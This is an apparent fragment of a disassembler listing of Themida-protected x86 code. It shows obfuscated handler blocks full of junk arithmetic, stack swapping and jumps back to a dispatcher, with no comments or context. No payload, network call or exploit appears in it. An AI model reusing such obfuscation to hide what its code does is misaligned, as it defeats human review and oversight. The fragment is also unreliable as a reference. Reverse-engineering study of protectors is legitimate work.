sub eax, 24216405h
add eax, edx
add eax, 24216405h
pop edx
push esi
sub esp, 4
mov [esp], esp
push edi
mov edi, 4
add [esp+4], edi
jmp loc_5AA2E6
; ---------------------------------------------------------------------------
loc_5A2794: ; CODE XREF: Themida_:0059FF9Fj
neg esi
jmp loc_5A194F
; ---------------------------------------------------------------------------
loc_5A279B: ; CODE XREF: Themida_:0059C69Dj
; Themida_:005A64D9j
mov [esp], eax
push small 333Eh
jmp loc_5ADA93
; ---------------------------------------------------------------------------
loc_5A27A7: ; CODE XREF: Themida_:0059B81Fj
; Themida_:005AF03Bj
xchg edi, [esp]
pop esp
sub esp, 4
mov [esp], eax
push ecx
mov ecx, 7E26D15h
mov eax, 33A7232Ah
xor eax, ecx
pop ecx
push ecx
jmp loc_5ADDF3
; ---------------------------------------------------------------------------
loc_5A27C8: ; CODE XREF: Themida_:005AC2ECj
popf
retn
; ---------------------------------------------------------------------------
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A27CF: ; CODE XREF: Themida_:00599D36j
push esi
jmp loc_59AA1F
; ---------------------------------------------------------------------------
loc_5A27D5: ; CODE XREF: Themida_:005A0D3Bj
add ebx, 241709ACh
add ebx, eax
push eax
mov eax, 7500022Eh
or eax, 4FF00E88h
add eax, 0A3411CAh
or eax, 5D693DF2h
sub eax, 297819C7h
neg eax
add eax, 0DA0C2DDFh
sub ebx, eax
pop eax
mov eax, [esp]
push ebx
mov ebx, esp
jmp loc_59B95D
; ---------------------------------------------------------------------------
loc_5A280C: ; CODE XREF: Themida_:005A416Dj
sub ebp, 15660F92h
jbe loc_59AC46
jmp loc_5A64F0
; ---------------------------------------------------------------------------
loc_5A281D: ; CODE XREF: Themida_:0059C758j
push ecx
mov ecx, 4
jmp loc_59A7BF
; ---------------------------------------------------------------------------
loc_5A2828: ; CODE XREF: Themida_:loc_5AB91Fj
push ecx
mov ecx, 54AD5F2Fh
inc ecx
jmp loc_5A061F
; ---------------------------------------------------------------------------
loc_5A2834: ; CODE XREF: Themida_:005AD57Dj
add esp, 4
add esi, 44583827h
push 7BB5h
mov [esp], eax
mov eax, 13F173C8h
or esi, eax
mov eax, [esp]
add esp, 4
jmp loc_59B2E0
; ---------------------------------------------------------------------------
loc_5A2857: ; CODE XREF: Themida_:005A5B20j
shl eax, 4
inc eax
add eax, 1415B350h
sub edi, 1E29162Bh
add edi, eax
add edi, 1E29162Bh
pop eax
add edi, esi
sub edi, 17187561h
push dword ptr [esp]
pop esi
add esp, 4
push esi
mov esi, 400E7AE1h
xor esi, 59FB0757h
jmp loc_5A7D73
; ---------------------------------------------------------------------------
loc_5A2892: ; CODE XREF: Themida_:005A5EA3j
shr eax, 7
sub esp, 4
mov [esp], edi
mov edi, 0B837B937h
add eax, 463D2D78h
sub eax, edi
sub eax, 463D2D78h
push dword ptr [esp]
pop edi
push edx
mov edx, esp
push eax
push ebx
mov ebx, 4
mov eax, ebx
jmp loc_5A9900
; ---------------------------------------------------------------------------
loc_5A28C4: ; CODE XREF: Themida_:005ACF67j
xchg eax, esi
jmp loc_59883D
; ---------------------------------------------------------------------------
loc_5A28CA: ; CODE XREF: Themida_:005A9298j
mov [esp], edx
push ebx
push ecx
mov cl, 6Bh
push eax
mov al, 5Bh
and cl, al
pop eax
not cl
jmp loc_5A4F90
; ---------------------------------------------------------------------------
loc_5A28DE: ; CODE XREF: Themida_:0059DC56j
mov eax, 220E185Bh
push edx
mov edx, 518657Dh
jmp loc_5AEAD0
; ---------------------------------------------------------------------------
loc_5A28EE: ; CODE XREF: Themida_:00599B29j
mov ebp, 26A92879h
shr ebp, 1
push ecx
mov ecx, 59FF36BFh
jmp loc_599F7A
; ---------------------------------------------------------------------------
loc_5A2900: ; CODE XREF: Themida_:005A929Ej
mov ebx, 3B5365A7h
xor ebx, 6DD916C5h
and ebx, 174E76F0h
xor ebx, 7B0C074Fh
jmp loc_5AB44F
; ---------------------------------------------------------------------------
loc_5A291C: ; CODE XREF: Themida_:0059AC11j
pop eax
add ebx, eax
mov eax, [esp]
add esp, 4
pop edx
xor ebx, [esp]
jmp loc_5A44D3
; ---------------------------------------------------------------------------
loc_5A2931: ; CODE XREF: Themida_:0059BE74j
pop ecx
mov ecx, 0A84998ABh
add ecx, eax
jmp loc_5A2AEA
; ---------------------------------------------------------------------------
loc_5A293E: ; CODE XREF: Themida_:005A4F7Cj
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov cx, [esp]
jmp loc_59CECC
; ---------------------------------------------------------------------------
loc_5A2950: ; CODE XREF: Themida_:005A988Fj
add edx, 4
jmp loc_5AB812
; ---------------------------------------------------------------------------
loc_5A295B: ; CODE XREF: Themida_:005A425Bj
add ecx, edi
pop edi
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
pop edi
or ecx, 5F34051Dh
jmp loc_5AD7E7
; ---------------------------------------------------------------------------
loc_5A297C: ; CODE XREF: Themida_:005A0BC0j
pop eax
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A2982: ; CODE XREF: Themida_:0059DB97j
push dword ptr [esp]
pop ecx
push esi
push esp
pop esi
add esi, 4
push ebx
mov ebx, 35D85D67h
dec ebx
and ebx, 72984BB5h
sub ebx, 7CD140C3h
sub ebx, 0B3C7085Dh
add esi, ebx
pop ebx
xchg esi, [esp]
pop esp
push edi
mov edi, 1E9723F2h
not edi
neg edi
sub edi, 6D217378h
dec edi
shr edi, 2
add edi, 2BDC0B9Ah
sub ecx, edi
jmp loc_5A1F71
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
jmp loc_5A5F91
; ---------------------------------------------------------------------------
loc_5A29DB: ; CODE XREF: Themida_:005A8F55j
push esp
pop ecx
add ecx, 4
sub esp, 4
mov [esp], ebp
mov ebp, 4
sub ecx, ebp
mov ebp, [esp]
add esp, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ebx
push ebp
jmp loc_59C3DF
; ---------------------------------------------------------------------------
loc_5A2A08: ; CODE XREF: Themida_:0059F385j
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_5AAB38
; ---------------------------------------------------------------------------
loc_5A2A21: ; CODE XREF: Themida_:0059893Bj
mov ebp, [esp]
add esp, 4
pop esi
push 7890h
jmp loc_5A652D
; ---------------------------------------------------------------------------
loc_5A2A32: ; CODE XREF: Themida_:005A8200j
sub ebp, ecx
push dword ptr [esp]
pop ecx
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], esi
push 421Bh
mov [esp], edi
jmp loc_5AE721
; ---------------------------------------------------------------------------
loc_5A2A57: ; CODE XREF: Themida_:005A3C6Bj
pop edi
mov esi, 6C7854ADh
xor esi, edi
pop edi
jmp loc_5A21CF
; ---------------------------------------------------------------------------
loc_5A2A65: ; CODE XREF: Themida_:0059F1B4j
add ecx, ebp
pop ebp
xchg ecx, [esp]
mov esp, [esp]
add al, 6Fh
add al, bh
sub al, 6Fh
sub esp, 4
mov [esp], ecx
mov ch, 65h
inc ch
add ch, 0CAh
and ch, 4Fh
add ch, 0DAh
xor ch, 0A8h
sub al, ch
pop ecx
pop bx
jmp loc_5ACC5B
; ---------------------------------------------------------------------------
loc_5A2A97: ; CODE XREF: Themida_:0059DCBBj
; Themida_:0059F883j
push edx
mov edx, 6D6E220Bh
shl edx, 7
jmp loc_5A1B61
; ---------------------------------------------------------------------------
loc_5A2AA5: ; CODE XREF: Themida_:005A439Fj
sub eax, ebx
pop ebx
push esi
jmp loc_5ABBFD
; ---------------------------------------------------------------------------
loc_5A2AAE: ; CODE XREF: Themida_:005A3830j
mov ebx, ecx
push dword ptr [esp]
pop ecx
add esp, 4
push edx
mov edx, 738C277Dh
shl edx, 3
push edx
not dword ptr [esp]
pop edx
neg edx
dec edx
not edx
add edx, 0CBE9960Eh
xor ebx, edx
pop edx
jmp loc_5A5EFF
; ---------------------------------------------------------------------------
loc_5A2AD8: ; CODE XREF: Themida_:0059AC88j
xchg ecx, [esp]
mov esp, [esp]
jmp loc_5A7082
; ---------------------------------------------------------------------------
loc_5A2AE3: ; CODE XREF: Themida_:005A25D0j
neg eax
jmp loc_5A249A
; ---------------------------------------------------------------------------
loc_5A2AEA: ; CODE XREF: Themida_:0059F195j
; Themida_:005A2939j
pop eax
jmp loc_5AADBB
; ---------------------------------------------------------------------------
loc_5A2AF0: ; CODE XREF: Themida_:0059F308j
push esi
jmp loc_5A75AB
; ---------------------------------------------------------------------------
loc_5A2AF6: ; CODE XREF: Themida_:0059FA97j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A2AFB: ; CODE XREF: Themida_:005AF3A3j
add ecx, 1CE1ED44h
mov edi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5AA478
; ---------------------------------------------------------------------------
loc_5A2B11: ; CODE XREF: Themida_:0059BE1Fj
push eax
jmp loc_5A891B
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
adc [esp], eax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
pop small word ptr [edx]
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A2B2D: ; CODE XREF: Themida_:005A2DD6j
; Themida_:005A967Dj
mov eax, esp
add eax, 4
jmp loc_5A144A
; ---------------------------------------------------------------------------
loc_5A2B39: ; CODE XREF: Themida_:0059E6EEj
mov ebx, esp
add ebx, 4
jmp loc_5ACE87
; ---------------------------------------------------------------------------
loc_5A2B46: ; CODE XREF: Themida_:loc_59E8A7j
sub edi, 13CDFDA0h
mov esi, edi
pop edi
sub esp, 4
jmp loc_5A9453
; ---------------------------------------------------------------------------
loc_5A2B5A: ; CODE XREF: Themida_:0059BC56j
xor al, bl
jmp loc_5AA49F
; ---------------------------------------------------------------------------
loc_5A2B61: ; CODE XREF: Themida_:0059F438j
; Themida_:005AF1F8j
sub ebx, 27954C3Eh
pop edi
sub esp, 4
jmp loc_5ABDEB
; ---------------------------------------------------------------------------
loc_5A2B70: ; CODE XREF: Themida_:005A2FDBj
pop ebp
sub edx, 0FDA72E1h
push edx
xchg edx, [esp]
not edx
xchg edx, [esp]
pop edx
jmp loc_59EB95
; ---------------------------------------------------------------------------
loc_5A2B86: ; CODE XREF: Themida_:0059D2C3j
xchg ecx, [esp]
pop esp
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A2B8F: ; CODE XREF: Themida_:loc_59DFBBj
sub ebp, 5B4D5506h
jmp loc_5A1F8D
; ---------------------------------------------------------------------------
loc_5A2B9A: ; CODE XREF: Themida_:0059A772j
pop edi
add ebp, eax
push edi
jmp loc_59FFBB
; ---------------------------------------------------------------------------
loc_5A2BA3: ; CODE XREF: Themida_:005A3905j
mov dl, 0A2h
sub bl, 41h
jmp loc_5ACFFD
; ---------------------------------------------------------------------------
loc_5A2BAD: ; CODE XREF: Themida_:0059EB2Aj
; Themida_:005AEDAFj
add edi, ebx
sub edi, 1FFE511Eh
pop ebx
mov ecx, [esp]
jmp loc_5A5BA2
; ---------------------------------------------------------------------------
loc_5A2BBE: ; CODE XREF: Themida_:0059DFE6j
push edx
mov edx, 4FB0602Ah
sub [esp+8], edx
pop edx
add [esp+4], ebx
add dword ptr [esp+4], 4FB0602Ah
add dword ptr [esp+4], 1AF52AF8h
push dword ptr [esp]
mov ebx, [esp]
jmp loc_5A856F
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_59CD9A
; ---------------------------------------------------------------------------
loc_5A2BF0: ; CODE XREF: Themida_:005AD573j
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
sub ebx, 0EE510F5Ch
jmp loc_59B85E
; ---------------------------------------------------------------------------
loc_5A2C0A: ; CODE XREF: Themida_:005AB8CDj
mov edx, 4
mov esi, edx
mov edx, [esp]
jmp loc_5ACF18
; ---------------------------------------------------------------------------
loc_5A2C19: ; CODE XREF: Themida_:0059EC00j
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
jmp loc_59C944
; ---------------------------------------------------------------------------
loc_5A2C28: ; CODE XREF: Themida_:005A8CA4j
; Themida_:005AA048j ...
mov edi, [esp]
add esp, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
jmp loc_5A5BEB
; ---------------------------------------------------------------------------
loc_5A2C40: ; CODE XREF: Themida_:0059D7AAj
neg dl
jmp loc_5A8CB8
; ---------------------------------------------------------------------------
loc_5A2C47: ; CODE XREF: Themida_:005A8F71j
mov cl, 5Ch
xor dh, cl
pop ecx
jmp loc_59932D
; ---------------------------------------------------------------------------
loc_5A2C51: ; CODE XREF: Themida_:005995B9j
sub [esp+4], eax
push ebx
mov ebx, 1AE846F8h
sub [esp+8], ebx
pop ebx
push ebp
jmp loc_5A65EB
; ---------------------------------------------------------------------------
loc_5A2C66: ; CODE XREF: Themida_:005A3BA8j
shr esi, 2
xor esi, 24BF390Bh
sub esi, 7E1327D7h
xor esi, 829B2A2Ah
sub ebp, esi
pop esi
jmp loc_5AD800
; ---------------------------------------------------------------------------
loc_5A2C83: ; CODE XREF: Themida_:005A1CFFj
dec esi
jns loc_5A5EDB
shr esi, 5
jnz loc_5AAE89
mov al, bl
lodsb
xor al, bl
sub esp, 4
mov [esp], esi
mov esi, esp
push 6749h
jmp loc_598940
; ---------------------------------------------------------------------------
loc_5A2CAA: ; CODE XREF: Themida_:005A7A92j
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
push 62DCh
mov [esp], ebp
sub esp, 4
mov [esp], esp
jmp loc_5AA721
; ---------------------------------------------------------------------------
loc_5A2CCC: ; CODE XREF: Themida_:005A6CC1j
inc ecx
not ecx
jmp loc_5A035F
; ---------------------------------------------------------------------------
loc_5A2CD4: ; CODE XREF: Themida_:005A54CFj
pop ecx
add edi, esi
mov esi, [esp]
add esp, 4
push ebx
jmp loc_5A99EF
; ---------------------------------------------------------------------------
loc_5A2CE3: ; CODE XREF: Themida_:00599FEEj
push ebx
pop esi
pop ebx
shr esi, 6
sub esi, 0DF3C88BDh
push edi
mov edi, 46E03866h
sub ebx, edi
jmp loc_5ABF22
; ---------------------------------------------------------------------------
loc_5A2CFC: ; CODE XREF: Themida_:005AD940j
push ebx
push ecx
jmp loc_59AB94
; ---------------------------------------------------------------------------
push dword ptr [edi+38h]
push dword ptr [esp]
mov ecx, [esp]
jmp loc_59E768
; ---------------------------------------------------------------------------
loc_5A2D11: ; CODE XREF: Themida_:005A225Dj
; Themida_:005A5313j
shr edx, 5
jmp loc_5996B1
; ---------------------------------------------------------------------------
loc_5A2D19: ; CODE XREF: Themida_:0059EDE2j
add esi, 4
add esi, 4
jmp loc_59E570
; ---------------------------------------------------------------------------
loc_5A2D2A: ; CODE XREF: Themida_:005A4C45j
mov al, cl
push ecx
jmp loc_5A834E
; ---------------------------------------------------------------------------
loc_5A2D32: ; CODE XREF: Themida_:0059ED89j
and ebp, 7B83552Bh
xor ebp, 38F3294Eh
not ebp
dec ebp
inc ebp
add ebp, 0B4DCEEA4h
jmp loc_5A89F4
; ---------------------------------------------------------------------------
loc_5A2D4D: ; CODE XREF: Themida_:0059B518j
pop ebx
jmp loc_59ADB4
; ---------------------------------------------------------------------------
loc_5A2D53: ; CODE XREF: Themida_:005AC7CAj
pop edx
jmp loc_5AB063
; ---------------------------------------------------------------------------
loc_5A2D59: ; CODE XREF: Themida_:005A72ABj
shr edi, 5
push ecx
mov ecx, 26762BC9h
add ecx, 13296855h
xchg edx, ecx
not edx
xchg edx, ecx
add ecx, 0FFFFFFFFh
shl ecx, 2
push ebx
push ecx
jmp loc_5A7A97
; ---------------------------------------------------------------------------
loc_5A2D7B: ; CODE XREF: Themida_:005AD330j
mov ebx, [esp]
add esp, 4
push dx
mov dh, 86h
jmp loc_5A6B58
; ---------------------------------------------------------------------------
loc_5A2D8D: ; CODE XREF: Themida_:005A913Fj
mov edx, esi
pop esi
jmp loc_5A719A
; ---------------------------------------------------------------------------
loc_5A2D95: ; CODE XREF: Themida_:005ABAC0j
add edx, 6D2C1835h
sub eax, edx
pop edx
add eax, 365F125Dh
jmp loc_59BDB7
; ---------------------------------------------------------------------------
loc_5A2DA8: ; CODE XREF: Themida_:005A9F30j
inc ebp
inc ebp
shl ebp, 7
shl ebp, 2
add ebp, 0F86B2C4Ch
add edx, ebp
pop ebp
sub edx, 320B1570h
push esi
jmp loc_5AE2D7
; ---------------------------------------------------------------------------
loc_5A2DC5: ; CODE XREF: Themida_:005AE62Bj
mov [esp], eax
jmp loc_5A7ED0
; ---------------------------------------------------------------------------
loc_5A2DCD: ; CODE XREF: Themida_:005A611Bj
pop esi
push ecx
push ebx
mov ebx, 0B4D2D27h
push eax
jmp loc_5A2B2D
; ---------------------------------------------------------------------------
loc_5A2DDB: ; CODE XREF: Themida_:005AC416j
mov [esp], ecx
push 512Fh
jmp loc_5A49F5
; ---------------------------------------------------------------------------
loc_5A2DE8: ; CODE XREF: Themida_:005A9E36j
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
jmp loc_5A3EDE
; ---------------------------------------------------------------------------
loc_5A2DFA: ; CODE XREF: Themida_:005A722Aj
; Themida_:005A9F9Bj
pop eax
jmp loc_59868F
; ---------------------------------------------------------------------------
loc_5A2E00: ; CODE XREF: Themida_:005A188Aj
pop esi
jmp loc_59D947
; ---------------------------------------------------------------------------
loc_5A2E06: ; CODE XREF: Themida_:00599AB0j
; Themida_:005AC333j
mov ebp, [esp]
add esp, 4
jmp loc_5A3DAE
; ---------------------------------------------------------------------------
loc_5A2E14: ; CODE XREF: Themida_:0059E822j
push dword ptr [esp]
pop ebp
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mul cl
movzx cx, ah
jmp loc_5A8F3E
; ---------------------------------------------------------------------------
loc_5A2E2C: ; CODE XREF: Themida_:005AC03Dj
inc esi
add esi, 612777FEh
dec esi
add esi, 45C20A42h
jmp loc_5A4F03
; ---------------------------------------------------------------------------
loc_5A2E3F: ; CODE XREF: Themida_:0059D8AAj
; Themida_:loc_5A7A5Cj
add esi, edx
pop edx
pop ecx
push edx
sub esp, 4
mov [esp], esi
mov esi, 116C5676h
neg esi
push edi
mov edi, 49704855h
shr edi, 7
push ecx
mov ecx, 326A4F25h
and edi, ecx
pop ecx
xor edi, 50E63348h
and edi, 736F28B0h
jmp loc_5A307D
; ---------------------------------------------------------------------------
loc_5A2E77: ; CODE XREF: Themida_:005A7ACFj
mov ecx, 0EA50ADEh
push edi
mov edi, 0
sub edi, ecx
jmp loc_59B059
; ---------------------------------------------------------------------------
loc_5A2E89: ; CODE XREF: Themida_:005A9DA0j
mov ebp, 2
jmp loc_59CA7D
; ---------------------------------------------------------------------------
loc_5A2E93: ; CODE XREF: Themida_:005A64ABj
xchg edi, [esp]
pop esp
xchg ebx, [esp]
jmp loc_5A7ABC
; ---------------------------------------------------------------------------
loc_5A2E9F: ; CODE XREF: Themida_:0059E2C1j
; Themida_:loc_5A8472j
xchg edi, [esp]
pop esp
mov [esp], edi
mov di, 3202h
add di, 1
push ecx
mov cx, 27B4h
shr cx, 5
jmp loc_5AD692
; ---------------------------------------------------------------------------
loc_5A2EBC: ; CODE XREF: Themida_:005A6EF2j
mov ebp, 4
jmp loc_59B5A8
; ---------------------------------------------------------------------------
loc_5A2EC6: ; CODE XREF: Themida_:005A067Aj
mov [esp], edi
mov edi, 1EED507Ah
jmp loc_5AEDFC
; ---------------------------------------------------------------------------
loc_5A2ED3: ; CODE XREF: Themida_:005A3991j
xchg ecx, [esp]
jmp loc_5A08CD
; ---------------------------------------------------------------------------
loc_5A2EDB: ; CODE XREF: Themida_:005A8CDAj
add esp, 4
push dx
mov dh, 5Eh
sub bl, 7Bh
sub bl, dh
add bl, 7Bh
pop dx
movzx eax, al
mov dx, [esp]
push ebp
jmp loc_5AA429
; ---------------------------------------------------------------------------
loc_5A2EFC: ; CODE XREF: Themida_:005A96AFj
push ebp
mov ebp, 48F91869h
inc ebp
push esi
mov esi, 48F9186Eh
xor ebp, esi
pop esi
add eax, ebp
mov ebp, [esp]
add esp, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebp
mov ebp, 59FF50E1h
inc ebp
jge loc_5A4164
shr ebp, 6
or ebp, 46FF0B05h
jnp loc_5A15F3
loc_5A2F3C: ; CODE XREF: Themida_:005A4CA5j
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
jmp loc_59B4A5
; ---------------------------------------------------------------------------
loc_5A2F4A: ; CODE XREF: Themida_:loc_5A7185j
or ebx, 0EE9230Ch
jnp loc_5A7374
add ebx, 0C102D885h
jmp loc_5A7D6B
; ---------------------------------------------------------------------------
shr ecx, 4
loc_5A2F64: ; CODE XREF: Themida_:005A8E62j
push eax
add dword ptr [esp], 8AC761Eh
jmp loc_5A606B
; ---------------------------------------------------------------------------
loc_5A2F71: ; CODE XREF: Themida_:loc_59A420j
xor dl, 0EFh
jo loc_5AAE4A
not dl
jmp loc_5A7661
; ---------------------------------------------------------------------------
loc_5A2F81: ; CODE XREF: Themida_:005AE702j
add ebx, 0FFFFFFFFh
not ebx
sub ebx, 1334731Fh
add ebx, 43298322h
add ecx, 3D244A92h
sub ecx, ebx
jmp loc_5A8F01
; ---------------------------------------------------------------------------
loc_5A2FA2: ; CODE XREF: Themida_:0059A5A7j
add eax, edx
add eax, 39394CD4h
mov edx, [esp]
add esp, 4
jmp loc_59F77C
; ---------------------------------------------------------------------------
loc_5A2FB7: ; CODE XREF: Themida_:005A327Cj
not esi
not esi
shl esi, 7
jnp loc_59B054
jmp loc_5A5C8D
; ---------------------------------------------------------------------------
mov ecx, edi
pop edi
xor ecx, 83D2821Ah
loc_5A2FD2: ; CODE XREF: Themida_:0059A427j
sub ebp, 7F920035h
pop edi
or edx, ebp
jmp loc_5A2B70
; ---------------------------------------------------------------------------
loc_5A2FE0: ; CODE XREF: Themida_:005A60C1j
pop esp
jmp loc_59AE26
; ---------------------------------------------------------------------------
loc_5A2FE6: ; CODE XREF: Themida_:005AAA54j
push ebp
push 26CFh
mov [esp], ecx
mov ecx, 73DC24BDh
dec ecx
push eax
mov eax, 5C0356E5h
jmp loc_598E47
; ---------------------------------------------------------------------------
loc_5A3000: ; CODE XREF: Themida_:005A5AA7j
mov edx, eax
pop eax
push ebp
mov ebp, 49C471DBh
jmp loc_59CE61
; ---------------------------------------------------------------------------
loc_5A300E: ; CODE XREF: Themida_:0059F917j
mov ebp, 21BC2584h
mov edx, 21BC2585h
sub edx, ebp
pop ebp
or [edi+1Ch], edx
mov edx, [esp]
add esp, 4
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A302C: ; CODE XREF: Themida_:00598E2Aj
add eax, ebp
add eax, 7CD7376Eh
mov ebp, [esp]
add esp, 4
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_5A05DE
; ---------------------------------------------------------------------------
loc_5A304A: ; CODE XREF: Themida_:005AF509j
mov [esp], esp
jmp loc_59CD31
; ---------------------------------------------------------------------------
loc_5A3052: ; CODE XREF: Themida_:005A605Bj
mov edi, 27F96FDEh
sub edi, 121F3A0Ch
add edx, edi
pop edi
push ecx
mov ecx, 383039CFh
jmp loc_5AC00B
; ---------------------------------------------------------------------------
loc_5A306B: ; CODE XREF: Themida_:loc_5A4DD5j
push 79D3h
mov [esp], edi
mov edi, 4FEA3936h
jmp loc_5ABB1D
; ---------------------------------------------------------------------------
loc_5A307D: ; CODE XREF: Themida_:005A2E72j
shl edi, 8
sub edi, 6210C633h
sub esi, edi
jmp loc_5A6561
; ---------------------------------------------------------------------------
loc_5A308D: ; CODE XREF: Themida_:005A7F7Cj
mov [esp], ecx
mov cl, 0DCh
jmp loc_59F37A
; ---------------------------------------------------------------------------
loc_5A3097: ; CODE XREF: Themida_:0059F971j
add al, 0F8h
add al, bl
push 3E6Ah
mov [esp], ecx
mov ch, 0B2h
add ch, 0Bh
jmp loc_5A1300
; ---------------------------------------------------------------------------
loc_5A30AD: ; CODE XREF: Themida_:005A8EA9j
pop ebp
add edi, 2
xor edi, [esp]
xor [esp], edi
jmp loc_5AF0CB
; ---------------------------------------------------------------------------
loc_5A30BC: ; CODE XREF: Themida_:0059854Fj
; Themida_:0059C591j
push dword ptr [esp]
pop eax
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push edi
mov edi, esp
push ebp
mov ebp, 4
push ecx
jmp loc_5A39D3
; ---------------------------------------------------------------------------
loc_5A30DB: ; CODE XREF: Themida_:005A5E14j
shr eax, 4
jnz loc_5A3384
jmp loc_5A5E62
; ---------------------------------------------------------------------------
sub edx, 7F3B5307h
pop ebx
push edx
mov ebp, edx
loc_5A30F3: ; CODE XREF: Themida_:005A4E54j
add edi, 4
add edi, 2
xchg edi, [esp]
pop esp
xor cl, 0C6h
shr cl, 3
not cl
add cl, 1
add cl, 0FEh
push cx
mov cl, 0A5h
sub al, cl
pop cx
add al, 0D2h
push edx
mov dh, 30h
sub al, dh
pop edx
add al, cl
add al, 30h
jmp loc_5AC8EA
; ---------------------------------------------------------------------------
loc_5A3127: ; CODE XREF: Themida_:loc_5A1FA1j
add bl, 84h
push 1076h
mov [esp], ecx
push 0DAh
mov [esp], edx
mov dl, bl
push ebx
jmp loc_5ABA09
; ---------------------------------------------------------------------------
loc_5A3142: ; CODE XREF: Themida_:0059D581j
push edi
xchg ecx, [esp]
not ecx
xchg ecx, [esp]
pop edi
push edx
mov edx, 16964AF2h
xor edi, edx
pop edx
or edi, 32323A9Eh
sub esp, 4
jmp loc_59B299
; ---------------------------------------------------------------------------
loc_5A3166: ; CODE XREF: Themida_:0059DDB3j
add esp, 4
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebx
push edx
mov edx, 4
jmp loc_5AC074
; ---------------------------------------------------------------------------
loc_5A3187: ; CODE XREF: Themida_:005A7450j
not edi
jmp loc_59918D
; ---------------------------------------------------------------------------
loc_5A318E: ; CODE XREF: Themida_:005ACE6Bj
xor ebp, 0AB7A0BDh
add ecx, ebp
mov ebp, [esp]
jmp loc_5AA226
; ---------------------------------------------------------------------------
loc_5A319E: ; CODE XREF: Themida_:0059B16Dj
push esp
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add esp, 4
push edx
push 28h
push dword ptr [esp]
pop edx
add esp, 4
push edi
jmp loc_59FD12
; ---------------------------------------------------------------------------
loc_5A31C9: ; CODE XREF: Themida_:005AEDCDj
add esp, 4
not ecx
dec ecx
dec ecx
jmp loc_5A0EA2
; ---------------------------------------------------------------------------
loc_5A31D8: ; CODE XREF: Themida_:005A4265j
add edx, ecx
mov ecx, [esp]
add esp, 4
add edx, 4
xchg edx, [esp]
pop esp
sub ebp, 3E4907EDh
add ebp, edi
add ebp, 3E4907EDh
jmp loc_598759
; ---------------------------------------------------------------------------
loc_5A31FA: ; CODE XREF: Themida_:0059DA95j
add ecx, ebp
sub ecx, 5BC07827h
jmp loc_59E6FB
; ---------------------------------------------------------------------------
loc_5A3207: ; CODE XREF: Themida_:0059EB49j
push dword ptr [esp]
jmp loc_5A0114
; ---------------------------------------------------------------------------
loc_5A320F: ; CODE XREF: Themida_:0059C8A4j
add eax, 29788E37h
sub dword ptr [esp+4], 250C6AA0h
add [esp+4], eax
jmp loc_5A60C6
; ---------------------------------------------------------------------------
loc_5A3225: ; CODE XREF: Themida_:005993B3j
jmp loc_5A65EB
; ---------------------------------------------------------------------------
loc_5A322A: ; CODE XREF: Themida_:005A1BD5j
add esp, 4
push edx
jmp loc_59F690
; ---------------------------------------------------------------------------
loc_5A3236: ; CODE XREF: Themida_:0059F029j
add edx, 0CE96F0Bh
jl loc_5A3368
neg edx
js loc_5A9A2E
push esi
mov esi, 4F563E4Ch
or esi, 190283Fh
pop ecx
loc_5A3257: ; CODE XREF: Themida_:005AE70Aj
dec dh
jl loc_5AF4C0
not dh
inc dh
jmp loc_5AF080
; ---------------------------------------------------------------------------
loc_5A3268: ; CODE XREF: Themida_:005A9271j
push 1A2Fh
mov [esp], edx
push esi
mov esi, 61283E21h
xor esi, 61090606h
jnp loc_5A2FB7
not esi
not esi
shl esi, 7
jnp loc_5AB3A2
jmp loc_59A65B
; ---------------------------------------------------------------------------
not al
shr al, 6
inc al
mov dl, bh
push edx
loc_5A329E: ; CODE XREF: Themida_:0059FB27j
push 458Fh
mov [esp], ecx
mov ecx, esp
push edi
jmp loc_5A424E
; ---------------------------------------------------------------------------
loc_5A32AE: ; CODE XREF: Themida_:00598960j
mov esp, [esp]
mov [esp], cx
push ebx
mov bh, 0A6h
push ecx
mov ch, 0B2h
jmp loc_59FC76
; ---------------------------------------------------------------------------
loc_5A32C0: ; CODE XREF: Themida_:0059F333j
sub eax, 29C73DB3h
push dword ptr [esp]
mov ebx, [esp]
jmp loc_5ACE55
; ---------------------------------------------------------------------------
loc_5A32D0: ; CODE XREF: Themida_:005AEBC6j
mov [esp], ebx
mov ebx, 72E90469h
xor edi, ebx
mov ebx, [esp]
add esp, 4
sub ebp, edi
jmp loc_5993CE
; ---------------------------------------------------------------------------
loc_5A32EA: ; CODE XREF: Themida_:005A5625j
push esi
push 571Ch
jmp loc_59B645
; ---------------------------------------------------------------------------
loc_5A32F5: ; CODE XREF: Themida_:005A15F8j
sub esp, 4
mov [esp], ebx
push 5080h
mov [esp], ecx
jmp loc_59EC16
; ---------------------------------------------------------------------------
loc_5A3308: ; CODE XREF: Themida_:00598921j
; Themida_:005A4BBCj
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A330D: ; CODE XREF: Themida_:005AE7FDj
push edx
mov edx, 444601F4h
sub edx, 1859AD52h
jmp loc_59BBDD
; ---------------------------------------------------------------------------
